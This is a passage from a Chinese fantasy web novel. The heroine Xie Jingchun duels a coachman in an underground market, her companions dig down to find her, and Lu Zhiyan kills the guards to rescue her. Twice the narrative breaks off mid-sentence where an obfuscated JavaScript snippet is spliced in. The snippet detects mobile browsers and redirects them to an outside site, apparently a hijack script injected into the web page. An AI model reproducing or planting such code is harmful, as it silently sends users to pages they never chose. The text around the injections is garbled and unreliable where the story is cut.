“姑娘没看见那联诗吗?天地同寿长生府,日月同光无极宫。”他露出意往神驰的表情,笑意不减反深,“这里是仙府,外面?外面当然是地狱了!” 谢惊春觉得自己的反应从来没有如此快过,也没有如此冲动过。 方才她从灯架跃至轿后,随后迅速钻入轿底,动作全部快于马夫,最后她实在不知道躲哪儿,就决定赌一把,挟持轿中人。 她从来没有干过以刀逼人的事,况且做的决策都是在一瞬之间,所有的狠厉都是装出来的,她实则心虚又惊惧。 “如实回答我的问题!”谢惊春又加大了手上力道,气息全乱,瞳孔微颤,警惕地看着他手上动作。 “姑娘,裴某所言皆是肺腑之言。” 谢惊春低着头,试探着问道:“外面就是,金陵吧?” 「离家不远处有一寺庙,所以对洪钟声以及所代表的时辰比较熟悉,很多寺庙每月十五会多敲一声重音。 我于三月三日阴日被绑架,十几日后听到寺庙洪钟中多敲了一声重音,大约半个时辰后,我就在身处地下城,所以那日应是三月十五。」 是系统的距离检测先让她怀疑,再回想起松玠说的话,惊春就在想:松玠三月十五听到的钟声,会不会就是来自于他家边处的寺庙。 而所行十二日,也不过是混淆视听,故意为之,就是让他想不到自己其实就在城内,甚至可能距家不远。 她现在甚至怀疑,整个金陵地下,都布着禁制,所以在刺史府西院,她才会被反噬。 裴引玉诡异幽深的眸中闪过一丝惊诧,他手拂过惊春的发尾,随后抚掌而笑,笑声不止。 也是这一笑,让谢惊春注意到他颈上的红色刺青,在领间若隐若现。 轿辇一瞬变轻。 不妙。 谢惊春即刻侧身,刀尖寒芒瞬至,刀锋擦过她的脖间。 “胆敢伤害主人,找死。” 谢惊春拽住轿窗,抬脚踢开陵劲淬砺的刀。 这轿子虽已经不甚宽敞,可施展身手依旧束手束脚。 裴引玉双手交叉,旋着拇指上的玉扳指:“这样,姑娘,你若再碰到我一下,你提一个要求,裴某必当履行。” 谢惊春已经没有任何机会重新挟持裴引玉,马夫的刀法造诣很高,几乎是完全压制。 匕首与刀锋相磨,嗤嗤声带起星星点点的花火。 谢惊春那早已经结痂的右手,又开始牵扯着痛了起来,不得已换成不习惯的动作,速度与力量都受到限制。 她从轿窗翻下去,在地上翻滚一圈后立即跪地起身,看到匕首已经被利刀砍出许多豁口。 马夫的速度简直不是常人所有,谢惊春几乎没看清他的动作,就感受到他凛冽的刀风。 然而就在刀锋即将割过谢惊春腰腹时,他突然收手了。 马儿一声长嘶,他欲拉住缰绳,可已经来不及了。 谢惊春知晓自己现在,是绝对也打不过眼前人的,于是果断一脚踢向马背,至少让另一个危险先走。 哪怕他能再进来,也要分一下眼前人的神。 对她而言,现在的时间一分一秒都很珍贵,都可能是决定她活下去的关键。 轿辇立刻穿过湖镜后消失不见。 谢惊春趁着这个双刀客恍惚征神之际,疾速拉开距离。 “阁下以为这样,就能赢我?” “你们出去不是靠銮铃?”谢惊春摊开挟持裴引玉之前,就已经顺手斩下的铃铛。 是啊,那个裴姓人确实没说过他们是靠銮铃出去的。 “是如何?不是又如何?反正你也出不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473581|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 马夫双手一振,挥去刀上的蝙蝠血,声音沉了下去:“在下柳袭安,讨阁下高招。” 谢惊春不要命地跑。 她一边跑一边用匕首在自己胳膊上划了一道伤口,用指腹沾血在半空中画符。 “广修内元,身心光明,洞慧长彻,召求金光,护覆吾身!” 隔空画符她不会,只有最拿手的护身符偶尔会成功一两次,此番也只是没有办法的办法。 “护”之金字在她掌心跳出,而后一道金光化作罡气在她周身纵横。 “阁下可以跑得再快一些。” 马夫的声音在耳侧向起,随后,他双手交错,双刀如枷锁朝着谢锦春而来。 * “赵无悲。”路植晏看着失神的赵无悲,“你在发什么呆?” 路植晏去明满巷找了云娘之后,就立马回来赵无悲,只是赵无悲仿佛一直没听进去他说话。 赵无悲摸了摸自己的右臂,昨夜师父伤自己的事情,他到现在都觉得是在做梦。 今晨齐怀金一醒,对昨夜伤徒之事一概不提,人也不知跑哪儿去了。 赵无悲稍微回点神“哦哦,路兄你继续说。” “我已经说完了。” 路植晏只问了云娘一句话:“你开刺史夫人棺椁欲偷陪葬品时,是什么时辰?” “戌时。” 比张正去灵堂的时间早。 所以他要,开棺。 “路兄刚刚说什么?开棺?!” 赵无悲先是稀松平常地说着,须臾之间瞪目哆口,像是被通天惊雷炸了一下,腾的站起身,连带身下小胡床被踢得翻滚。 “小点声,这难道是什么光明正大的事?”路植晏又道,“你,有心事?” “没有啊,我能有什么心事?”赵无悲表现得坦然自若,但马上就继续讶道,“不,自是不光彩!不是,这,这为何啊?且不说开棺有多大不敬,就说宋公子人已失踪两月,凶多吉少,当初下的也只是衣冠冢,而刺史夫人的尸体被宋大人封进观音像,现虽被找到,但暂且还停在灵安寺。这两方棺中必是空的,宋大人清廉,顶多会有一些为数不多的珠宝,路兄,你不会缺钱了吧?” 路植晏:“赵无悲,如果是你,你想藏人,会将人藏在哪儿?” 赵无悲认真思索起来:“我想藏人,嗯……应是打造一间小屋,然后将门锁住。” “就这么简单?” “简单?首先为什么要藏?对方愿不愿意?若愿意,那就是因为犯了什么事才需要藏,包庇同罪。若不愿,把便是囚禁,轻则杖刑,重则砍头,哪一种都不对。” “那我换一种问法,藏尸体呢?” “藏尸体就得站在杀人犯的角度去思考了,我也听师父说过,有些杀人犯会直接将人肉炖了吃下去,或者混在羊肉中一起卖,实在是泯灭人性。” 赵无悲对上路植晏的眼神,顿了顿:“倒也不是非要站在杀人犯的角度思考,像宋大人这种的除外,他藏尸是信了邪术。” 他说完,才发现早跑题了:“不对不对,路兄,这和你要开棺有什么关系?” “尸体放在棺材里,不也是一种藏?” 赵无悲疑惑地皱皱眉,又想着谢惊春至今下落不明,愧疚感如密针一样慢慢刺进心口。 他咬咬牙:“路兄,虽然不知道你在怀疑什么,但是我愿意和你一起去。” 心思各异的两人来到洗晦桥铺。 几阵阴风刮过,整个洗晦桥仿若百里无人的寂静岭,偶尔传来几声乌鸦扯叫。 赵无悲谨小慎微地环视一圈,跟着路植晏一起挖棺。 这里的土像被那些吃死人饭的盗墓人翻过,又有几场夏雨泼过,所以他们挖得比较快。 “有了有了!” 杉木棺材的边角已经露出,赵无悲甩了甩手:“终于挖到了!” “杉木?”路植晏指尖抚摸过棺材盖,皱着眉头,察觉到异常。 “杉木?怎么可能?”赵无悲不信邪,提灯仔细辨认了半晌,“虽然覆了层漆,但确实是杉木。路兄,你是如何这么快知道的?” “当阳问日山,全是这样的杉木,闻久了,哪怕味道浅淡,也能闻出。” 路植晏:“刺史夫人,安王之女,曾经的清鸾郡主,棺材居然用的是最次的杉木?” 赵无悲也觉得奇怪:“是啊,刺史那般爱自己的夫人,这个连最后的体面都没给全,难道当初是觉得一定能复活夫人,所以一切从简?” “路兄,要开棺吗?” 棺材板发出轻微的声音,周围大地微颤。 赵无悲神色一紧:“什么情况?” 路植晏弹出四根细针,将黄符钉在棺材四角,看着黄符被乍火烧了个干净,只留些许灰屑飞扬,他并不觉得意外:“果然。” “烧了?这里面,当真有尸?”赵无悲惊道,这回轮不到路植晏动手,赵无悲已经将沉重的棺木推开。 腥臭味扑面而来,里面已然呈出白骨观,饶是早已见过一些妖吃人的血腥场面,他们也经不住,都悄然别开眼去。 赵无悲:“此人是谁?” 这分明是刺史夫人的坟茔,不应该是空的吗?为何会葬着他人。 “猜的没错的话,应是张……”路植晏话说一半,忽然猛地拽开赵无悲,怔怔地看着棺椁,沉色喃喃:“谢惊春?!” 说出来路植晏自己都不信,以至于尾音都带着些怀疑,可这种感觉太熟悉了,至少在他的印象中从未出错。 赵无悲啊了一声,壮着胆子扒住棺木把头插进去看,不过立马就被味道熏得退了出来:“谁?!路兄你说谁?这是,这是惊春姑娘?!这这这,这怎么可能?!” 他顿时骇然万分,如果谢惊春真的死了,他一定会后悔死的:“惊春姑娘……怎,怎么会?” 可是谢惊春失踪三四天,就算是夏日,也不至于尸身腐烂至这个地步,赵无悲心中起了一丝希望:“路兄,这定然不是惊春姑娘。” 若说方才的感知是模糊的,转瞬即逝的,那么路植晏现在抛去所有杂念所得的方位,就是明确的,毫无疑义的:“她在……此方土地,下方。” 51. 登仙大道(八) 路植晏盯着棺中尸体,心却不在尸体上。 谢惊春开阴阳阵被反噬,就是因为这地底有禁制。 他那莫名其妙,只针对谢惊春一人的感知能力会消失,也是因为禁制。 这个禁制,最起码覆盖从刺史府至面前的洗晦桥铺。 而何人会在地底布一个这么大的结界? 要么是有贵人墓穴要守,要么,这下面,有座城。 谢惊春能在下面过了这么久,已是十分不易。 虽说不知为何结界会突然打开,但是如若不趁此机会,一旦结界重新合上且无法破开的话,他就会又感受不到谢惊春的方位了。 路植晏刚抽出剑,又插了回去。 地底情况不明,深度难知,强行用雷剑劈开,有可能刚好劈到谢惊春头上,或者引起大面积塌陷。 赵无悲嘴巴微张,呆愣愣地看着虚空,还没从谢惊春已经被埋了这个噩耗中缓过神来,就莫名吃了一嘴土。 “呸呸呸,路路路兄……” “别废话,赶紧挖。” 是,就算惊春姑娘已经死了,也要见见尸体才行,至少应让路兄将她带回积玉山,赵无悲一边这样悲怆地想着,一边难受欲哭地挖土。 两个捉妖师只能勤勤恳恳地挥锹,在黑夜坟山尤为古怪。 * 松鼠背着小手,围着丹炉走来走去。 春春怎么还不回来? 它心焦气躁地学着谢惊春的样子看书,但就是看不进去。 可能就是看到什么稀罕事,停留了一会儿看热闹。 春春没事的,绝对没事的。 可是这里能有什么稀罕事?春春很会认清自己的现状,如今这地下城不知还隐藏着什么危险,春春不至于有心思看热闹。 那可能就是遇到那对姐弟,和他们多聊了一会儿。 嗯,一定是这样,所以春春绝对不会有事的。 刚说服自己安下心,松鼠低头发现书上多了很多土块快。 “嗯?” 它捻起一块,朝着头顶看去。 这不看还好,一看就是大量的土如泥石流般倾泻而下,直接给它砸懵了。 松鼠几番挣扎才从土堆里爬起来。 “路兄,这地下真有东西!” 松鼠在脸上一顿乱抓,仰头看去,发现跟着土块块下来的还有一条腿。 两条。 三条。 四条。 当路植晏和赵无悲并排站在松鼠面前时,六眼相看无言。 “你怎么在这里?谢惊春呢?” “你们怎么在这里啊?” 二人一松鼠眨了眨眼睛。 “嘘——”松鼠顶着灰头土脸走到他们身边,“说来话长,说来话长,你们小声点。” “春春说她要去什么湖镜,但是已经好久没回来了,我也不知道她现在在哪儿。” 路植晏:“左,六里。”他睁开眼:“走。” “哎等等等等!你们这身装扮是出不去的。”松鼠抱住路植晏的小腿。 这时,门口传来声音。 “进去吧。” 松鼠黑溜溜的眼睛立刻迸出一圈喜悦,这是门口守卫的声音! 每回春春回来,他们确认她身上没带回东西时,就会说出这样的话。 木门打开,松鼠带着他们先躲了起来:“春春回来了!我们先躲起来。” 路植晏露出疑惑的表情,随之瞳色暗了下来。 等到木门关闭,松鼠激动地准备跳起来,像往常一样砸到谢惊春怀里:“春春——” “等等!”路植晏一把将空中的松鼠拽了回来,手绕至颈后慢慢抽出长吟。 “他不是谢惊春。” 谢惊春在南向,六里,不对,是五里。 她在跑? 她有危险?! “你是谁?为何要穿着春春的衣服?” 松鼠也觉察出异样,哪怕此人的身高和惊春相仿,宽大厚重的衣服也遮住了身材,戴上面具后更是难以分辨。 但还是能看出,他的肩膀要比惊春宽些,肩头处不是垂下,而是略微顶起。 且通身的气质也相差甚远。 “妖?”一道沙哑的男声。 他停住欲摘下面具的手:“你们是何人?” 赵无悲冲上前:“我这句话应是我们问你吧!” “你是捉妖司的人。” 捉妖司的官袍特意做成缁衣,就是为了显眼好认。 如此,如果有普通人受控于妖物,关键时刻能认出捉妖师,便于求救。另外,捉妖师是在刀尖上舔血,这身官袍也能遮掩血色,防止吓到胆小的新人。 赵无悲道:“是,刚才松鼠也说了,你为何穿着惊春姑娘的衣服?” 松玠听着他们一口一个春春,一口一个惊春姑娘,想应是熟人,心中百转千回,思索良久,最后化为一声重重的叹气声,他摘下面具:“女君子应当是有大危。” 面具摘下,赵无悲和松鼠不由瞠目结舌。 只是话音刚落,路植晏即刻双剑在手,蓄势待发,准备一脚蹬门。 “哎哎哎,你干什么?”松玠操心不已,急忙将他拉回来。 “救人啊。”路植晏一脸觉得对方明知故问的样子。 “你这样可不行,仙市守卫不知有多少,就算出了炼丹室,到了仙市也得大开杀戒。” 路植晏听完收回脚,他倒不是觉得大开杀戒有何不妥,只是觉得强攻更会拖延时间。 以他的身量学松玠蒙混出去,那只有一眼被识破的境地,他回头看了一眼呆呆的赵无悲。 啧,这家伙也不行,长那么高干什么? “你们……” 角落里不合时宜地飘出一道声音。 松鼠一拍脑袋:“哎呀,把他搞忘了。” 几人眼睁睁看着一个赤裸着上身的男子爬了出来,松玠看见他的那一刻,绷带后面的眼中立刻爆出狠戾,被烧伤的手握不紧,但是能看出那虚虚握成的拳头里藏着多少恨意,他冲上前,一把虚掐住男子的脖子。 “我与你无冤无仇,你为何害我!!!” 不知他们之间有什么恩怨,路植晏和松鼠都在袖手旁观。 路植晏还在想,要不还是强攻。 赵无悲到底还是个在编人员,有着强烈的社会责任感,积极化解矛盾,火速上前将松玠拉开。 “咳咳咳——你是谁?”赤裸男子看着松玠,瞧着他只留两眼睛在外的模样,实在想不起自己是怎么得罪「渣滓」的。 他顺了顺气:“我不是好管闲事之人,全当是为与那姑娘平恩。我有一法,可助一人安全出去,但是只有一人。” 路植晏蹲下身,手支在膝盖处:“说。” 看着眼前凑近的脸,虽只说一个字却暗含逼问催促的语气,炼丹师呆愣半秒。 他指着松玠:“单这个炼丹室门口就有七人,身手皆非凡品。待会你戴上面具敲门,三重四轻,这是要「丹引」的意思,他们会问「要几斤?」,你说「六」,就会有六人带着你去找寻「丹引」,此时门口就只剩一人。” 松鼠怪道:“为何不直接说七,把七个人都带走,这样我们也好都出去。” “炼丹室门口最起码要留一个守卫,你说七也没用,甚至还会引起怀疑。” “我的声音不会被发现吗?”松玠摸了摸自己脖间的绷带。 “那你就捏着嗓子尽量模仿,实在不行你们再强冲。” 炼丹师说完,又看向路植晏:“他们出去后等门关上,我再敲门,他看见我,定会觉得奇怪,我诱他进来,你想办法弄晕他,再穿他的衣服出去,如此就不会引起骚动。” 松鼠懵懂地问:“丹引是什么意思?” 松玠接过问题:“就是人。” “啊?!” 松玠心中其实也是十分忐忑,他一个文人,冒着身份混进炼丹室已是不易,如今一旦身份暴露,六名守卫在侧,他只有死的份。 他忍受着巨大的烧伤痛苦,知晓自己就算出去,这张脸也给不了他正常生活,可他就是凭着一股执念,想要出去,他想回去看看母亲。 她身体不好,又喜欢将事情压在心底,时常悒悒不乐,坐在窗前看树影,背影凄凉惆怅,没人知道她所想。 自己离家的这段时日,她应是忧心忡忡,担心不已。 如果此番死了,那么长时间的忍辱负重,就都不过是徒劳无益。 他真的要为了不过几面之缘的女君子,舍身吗? 她自金陵来,她坚如磐石,女君子的到来确确实实给他带来了心灵上的鼓舞,让他觉得出去好像并不是很遥远。 再说,他当初在女君子面前可是说得信誓旦旦,说自己问心无愧,担得起一个贤字,如今这般扭扭捏捏,畏首畏尾,岂不是有失君子之风。 在心中暗啐自己一口,松玠终于说服自己,铤而走险,不畏生死。 这时他感觉自己肩上一沉,路植晏指向谢惊春的方向,对他说道:“你出去后,把他们往这个方向引,引到暗处,我会解决掉他们。” 松玠愣愣的,半晌鞠了一礼:“好。” 赵无悲将弓箭挎到身前:“那我呢?” “赵兄,禁制随时会再被布上,你先带松鼠和他上去。”路植晏本意让他们直接上去,不要下来了,要不然万一结界被人重新封上,大家就成了一锅饺子,一个都没能上去。 赵无悲望眼欲穿,惊春姑娘是被自己那偏激的师父伤害,自己在身旁却没能出手,如今好不容易有了她的消息,他生怕自己又一次作壁上观。 路植晏又道:“若是届时你还能下来,一旦起了骚乱,你就来助。” 赵无悲松了口气:“好。” 松鼠知晓自己妖法低微,帮不上什么忙,还有可能拖累别人,所以纵使万分想一起去助春春,它还是沉默了下来,没有提出任何异议。 它寻了一圈:“路植晏,你把春春的剑带上吧。” 路植晏甫一听到这句话,瞳孔一震,猛地转身,不可置信道:“她没带剑?!” “仙市什么都不让带,所以她的包也在这儿。” 三正玉牌,遁身环,已经破碎的符箓,以及一些精致小巧的装饰品全部都在里面。 也就是说,谢惊春不仅负伤在身,还赤手空拳,不知在与何人周旋。 只是找了一圈,松鼠开始抓耳挠腮:“不对,春春的剑呢?她走的时候根本没带啊。” 路植晏的睫毛颤了颤,脸色凝重,心神悬起。 情况未知,但这一切都将谢惊春的性命指向危急,他喉口发滞,几乎是脱口而出:“快!” 几人很快出动,松玠扯着嗓中的痛,尽量发出一个稍微尖细的「六」。 谢惊春前两天发烧,浑身疲惫难受,声线也变得低沉很多,所以那六名守卫也没怎么怀疑,跟松玠出去了。 松玠那厚厚的衣服下是一颗惴惴不安的心。 “还没有合适的?”跟着松玠走了一大段路,却始终没拿到一个丹引,一个守卫终于问道。 松玠摇了摇头。 他顺着路植晏所说的方向走,知晓路植晏差不多也快来了。 从卖药郎的摊铺拐进巷子里,路一下子就变窄了,视线也暗了下来。 “还没有?!你不会要耍什么花样吧?” 那守卫不耐烦了,将手按在腰间,语气忿忿。 松玠心中咯噔一下,他指着背对着他们在找东西,所以没来得及逃跑的阿春,示意这是合适的「丹引」。 “阿姐,衣服找到了吗?”阿夏从草屋里走出来,刚好看到自己的姐姐被劈晕,被一群人带走了。 那些人的装扮他远远见过,是仙市的人。 他本能地想冲出去,却想起阿姐说过的话。 “阿夏,如果我不能回乐州,你一定要代我回去,否则我们在这个鬼地方撑到今日,就没意义了。” 阿夏缩回角落,捂着嘴不让自己发出声音。 松玠也紧张至极,如果路植晏速度不够快,不仅会多一个守卫回去,日夜相处多有了解,回去的守卫很有可能发现留在炼丹室门口的那个人,面具下已经换成了路植晏。 而且,这个女孩也会被带回仙市。 此刻,路植晏套上衣服,快速出了炼丹室,到了仙市口,却远远地就看见了挟着阿春的守卫,回来了。 而偏偏市口的两个守卫,也在这时,将他拦下。 这些人遍布仙市的各个角落,却是训练有素,一旦发现有任何不对劲,会立刻集结,届时想要突破重围,也是要费一番功夫。 “哎你没带炼丹的人,说明不是去寻「丹引」,一人出去是做什么?炼丹室门口是否留人?” 守卫盯着路植晏,上下打量,眼神渐渐漫起怀疑。 路植晏没有丝毫怔愣,他指着远处归来的一个守卫,不紧不慢道:“有个炼丹师说急要七个「丹引」,拖延半分就可能炼不成上仙品,拖不得。再说了,呐,他不是回来了吗?刚好和我接班。” 市口的两个守卫瞧见阿春被抱了回来,看来确实是寻「丹引」去了。 再加上那个三天就炼成中仙品的炼丹师,是有点本事,不容怠慢。 他们点点头:“行,下不为例。” 出了门,路植晏开始暗暗解腰带,混入人群后,立马一手拽下身上的守卫制服,裹着面具丢进路边角落。 这里的守卫都是单剑,所以他只带了长吟。 隔着人群和阿春擦过后,路植晏飞身上屋。 “你怎么一直不说话?”跟着松玠的一个守卫突然道。 松玠顿时觳觫惶恐,藏在袖子里的手上绷带几乎要被大力崩开。 “不对,那面具取下来让我们看看!” 说着,松玠就感觉面具被暴力拽下,他那张惊悚的脸顿时暴露无遗。 “你是什么人?!胆敢骗我们!” 长吟铮然一声,先是解决一人后,立即释放出耀眼电光。 路植晏从墙头跃下,一个膝盖踢给人蹬飞。 但是这都是出其不意,剩下的三人有了防备直接后撤,捻指抵住唇边,想要吹哨码人。 “让你吹!” 路植晏眼明手捷,敌不及拒,连番踹下他们的下巴,嘴巴歪了合不上,门牙漏风也就吹不起来了。 不过所幸人少,还能及时阻止,若是人多,总有一个漏网之鱼能摇到笑脸面具大队。 谢惊春很近了,差不一里的距离。 路植晏对松玠说道:“被发现是迟早的事,你先离开这里,约莫两刻后,去前面第二巷口等我。” * 方才马夫的刀嵌在谢惊春的肩膀上,鲜血直流。她咬着牙,冷汗从鬓丛里直流,忍着巨大的疼痛生生带着刀退了几步。 然后,将刀握在自己手中。 因被少女的毅力震撼,疏忽至刀被她夺去,马夫顿时觉得被侮辱,他动作更快更狠,决心要将谢惊春的生命结束在一瞬之间。 谢惊春抬刀抵挡挣扎,许久后才获得一丝丝的喘息机会,她毅然决然往登仙大道跑去,那里弯弯绕绕,或许能有一线生机。 不过哪里那般容易,几乎是跑三步就会被留下,跑三步就得奋力抵抗才能争得几秒空隙。 当时她初来,对阿春还是有点戒备,所以暗暗记住了每个出口,对这九转回肠的盘弄算是熟悉。 马夫的声音像是催命符般萦绕在耳畔:“姑娘如果仅仅是跑的话,是赢不了的。” 谢惊春七转八绕,根本不敢松口气。 不知过了多久,她回头看去,发现自己当真将马夫甩开了一段距离。 她丢掉滴血又重的刀,抹掉肩膀处溢出的血,在身上擦了几下,马不停蹄地跑向阿春的方向。 “阿春妹妹,把衣服给我。” 防止连累姐弟俩,惊春是准备拿了衣服就跑。 可是来到他们破烂的住所,却发现里面空无一人。 来不及思索,她正准备先走,却听到阿夏的声音。 “惊春姐姐,阿姐被带走了。” 阿夏从黑暗的角落里瑟缩着走出来,哭唧唧的脸上满是害怕与担忧。 “什么?!被带到哪儿了?” 到底是个孩子,平时看着沉默寡言,仿佛没什么情绪,碰到阿姐被带走这种事情,就慌得不能自已。 小孩儿哭得一颤一颤的,但他似乎知道很多人都不喜欢小孩子哭,于是咬紧嘴唇,肩膀一抽一抽,但没发出哭声:“仙市,可能是做了丹引去了。惊春姐姐怎么办?衣服,衣服也不见了,阿姐就是发现衣服不见了出去找,才被人带走的。” “衣服不见了没事,先别慌。”谢惊春忙将他塞回角落,安慰道,“你好好躲起来,你阿姐的事,我会想办法。” 她紧张地看着刚才自己拐过来的方向,本来她打算穿上衣服后,快速混入人群,回到仙市。 可现在,计划被打破了。 不管怎么样,先离开阿夏身边,不能牵连到这个孩子。 就在她奔跑时,“阁下真是很会躲啊。” 马夫纵身跃下,身形快出迟影,双刀互磨。 果然幸运之神不会一直眷顾,哪有那么多能在追杀下逃脱之人。 谢惊春不仅身累,心也已至极限,长时间的神经紧绷以及孤立无援,逼得她闷慌无比。 她忽然不想跑,也没力气跑了。 她眼皮垂下,所有神经都松懈了,静静等待着死亡。 为什么又是这种感觉,熟悉的感觉,数不清是第几次脑海中会突然冒出一个人,看不清面容,只是极度悲伤,站在自己的对立面,两人之间隔着难以逾越的鸿沟。 刀锋将至,突然,谢惊春听到了铮铮剑声,像是来自灵魂深处的震颤。 惊艳绝伦,如林中霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505803|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪,皓月千里。 金樽。 赫赫巍巍的剑意如盖,像海水一样扑面而来,潮湿的空气中弥漫着古怪但清淡的桃花香。 金樽划过谢惊春耳畔,彩缨拂过脸颊,如同黑暗的世界里燃起熊熊大火,午夜轮回的嗡嗡钟声。 在这间不容瞬之间,谢惊春陡然睁眼,刀光在她的黑色瞳孔中逐渐逼近,汇成一团光亮,精致雕刻的云花纹近在眼前。 她横拔出剑,眼底是重新燃起的倔强生命力。 我剑,在此。 “姑娘,何必如此挣扎?不若早点做在下刀鬼,还落个自在。” “我要,我要破了,破了你的所有攻击。” 谢惊春一直很奇怪,百行阵为何叫百行阵,她尝试用剑法融入阵法,才发现,百行不仅可以加快炼丹的速度,一旦和剑法融合,也可以爆发出惊人的威力。 只是她这两天几番练习,虽能感受到其中力量,但每回都是以自己的气脉冲顶,身体承受不住结束。 百行阵有百用。 谢惊春举剑,剑气如春盛时的草木蓬勃生长,随后,一阵骤落。 寂静无声。 谢惊春扯下腕处红丝带紧紧绑住自己的手和剑,嘴唇颤抖着说道:“现在,你在我的领域中。” 声音平静,不像是一个全身是伤的人说出,却像是一个将死之人说出。 她会用出尚未成功的百行剑阵,就表明她没有退路,只余视死如归,济河焚舟。 柳袭安摸了摸鬓边花,依依不舍地取下后,拢进怀中。 他恭敬抱拳道:“姑娘,请。” 【磁场恢复,定位刷新中,请稍后。】 【检测到宿主与角色路植晏的距离为一点五公里,是否需要导航?】 谢惊春心头一动,但不过是思量须臾后,她就平静地说道:“不需要……” 百行阵已经开了,把柳袭安拉进自己领域的同时,也把自己困在这方寸之地,不杀了他,根本不可逃脱。 路植晏能感受到距离谢惊春很近了,但是感觉却变了。 方位没变,但是感觉变了。 不只是一个信号,更像是一种直击心灵的震颤,疯狂敲打着他的心脏,同时他的耳膜要被撕裂,仿佛有道声音告诉他:“我在这,握紧我。” 谢惊春很危险,她流了很多血。 路植晏呼吸越来越急促,急促到脸上涨红,一阵眩晕感随之而来。 他扶着墙强迫自己定神。 一路朝着那道声音的方向跑去,衣摆如潮浪。 谢惊春坐在地上,衣服被血与汗浸透了,看着面前马夫的尸体,并没有感到胜利的喜悦。 “金……金樽……”她支着剑,靠着墙,几番尝试,才颤颤巍巍地站起来。 她艰难地拖着金樽,踉踉跄跄,剑尖在青石板上刮出刺耳的声音。 脸上全是血,顺着脖颈凝在衣襟,刘海黏在额头上,所以她需要昂着头,来辨别方向。 她没流眼泪,眼中却闪着光亮,亮到犹如鬼魅。 忽然,谢惊春停下来,看着疯狂朝自己奔来的人。 她终于支撑不住,瘦弱的身躯如风坠下。 看到她身后缓缓站起来的人,路植晏瞳孔骤缩。 随后,剑光闪过,他滑跪至谢惊春身边,挑开断刀,弥漫着浓浓杀意的双目里反射出熠熠光辉。 睫毛上的血滴进眼睛,眼睛被染红,瞳孔骤然拉成一条细线,如一颗墨色菱玉镶嵌在赤色玛瑙中。 “主……”马夫嘴里断断续续要说什么。 路植晏胸口起伏不停,齿间是压抑的通天愤怒:“尸体说话,是很可怕的。” 鲜血溅了满脸。 马夫的双刀尽断,他躺在那儿,从怀中小心翼翼地抽出被压瘪的花,一片花瓣零落,落在他的额头。 “主人……” 柳袭安轻叹了一声,眼里是悲怆的怅然,重重倒地。 路植晏将满身是血的谢惊春抱起,他甚至都不敢将她往上掂掂,好似稍微用点力她就碎掉了。 他手伸向地上的金樽,手腕却被突然扼住。 其实根本算不上扼住,仅仅是搭在上面,谢惊春身上哪里还有力气,这一小小的举动就已经让她喘了起来。 她朦胧中开始有了一点点微薄的意识,齿尖飘出几个字:“血,先……先擦血……” 路植晏将她的身子往里贴了贴,耳朵凑近她嘴边:“什么?” “把……把我的剑……剑,剑上血用衣服擦……干净,不要碰到手……” 这般洁癖? 路植晏扣着她臂膀的手都不敢用力,生怕硌到她,但是字里行间却是一点也不温柔,声线微颤:“没时间了,等会再说,你先闭嘴。” 可是谢惊春还是固执地不松手,她虽闭着眼,但平时清秀无措的眉眼,此刻是紧紧拢着,像是莫名对某件事特别执拗的小孩。 “血……” 她依旧不依不饶。 “啧,都成这样了……” 路植晏没办法,只能撩起衣摆握住剑柄,置于臂弯处,将血擦净。 看见路植晏抱着惊春跑过来,松玠急忙道:“女君子怎么样了?” “他们回去就会发现炼丹室门口没人,这会子估计已经追过来了……” 一语未毕,路植晏便听到登仙大道上嘈杂的响动,呼吸一顿之间,他将谢惊春交给松玠,声音急切:“你先带她走,这里我来。” 松玠道:“他们没见过你的脸,你何必出去呢?” “有个女孩被带进去了,万一他们拿她开刀,那她岂不是为我们而死?再说了,这什么鬼地方,拿人做什么丹引,也该肃清一下。” 更重要的是,他不知道那个被谢惊春打到濒死的刀客,是不是这些守卫的头目,万一他们发现尸体后寻来,不若早点解决。 松玠说不出话,阿春是他亲手点的,顺手一指就给小女孩下了死令。 看了昏沉脆弱的谢惊春一眼,路植晏敛眉,擦净了手上血,他一手长吟,一手金樽,两剑刮擦,就当是磨剑。 雷光,灯光,明光烁亮。 登仙大道顿时如煮粥般沸腾起来,四面八方赶来的守卫越来越多,一个个身手皆非下品。 路植晏的脸上满是血迹,或是溅血,或是自己身上不知何时被砍出的血。 一路杀回仙市,人群中逃的逃,散的散,只有那几个身子残疾的路边乞丐,心如死灰,想跑也跑不了。 路植晏狠狠擦去嘴角的血,两道剑影如雷动猋至,星流霆击,腾焰飞芒。 松玠背着谢惊春狂奔,不知跑了多久,谢惊春气弱声嘶:“停下,停下,我有办法……” 她猛咳了几声,强制拍了拍脑门,让自己清醒:“松公子,把你身上的衣服脱给我。” “女君子……” “我知道那些人是杀不完的,就算……就算路植晏把地下城杀陷,也难杀得完……” 她摇摇晃晃地站起身,扶着墙走。 不去及时阻止的话,阿春难救,路植晏也会受重伤。 “停下,主人有令……” 这几天,谢惊春总是会听到守卫讨论所谓“主人”的声音,提到这个主人时,他们都避讳地拉低声量,语气中也带着畏惧。 她不知这主人是谁,但试一试也没事。 只是她说第一遍时声音太小,无人搭理,照样蜂拥而至。 “我说停下!主人有急令,你们听不见吗?!!” 谢惊春气了,怒吼一声,终于费尽力气才将战斗拉停。 守卫们全部停下来,却依旧保持战斗姿态:“主人有何急令?你休诓我们!” 可他们却根本不敢上前,看来对这个主人已经畏惧到一点可能都不敢赌。 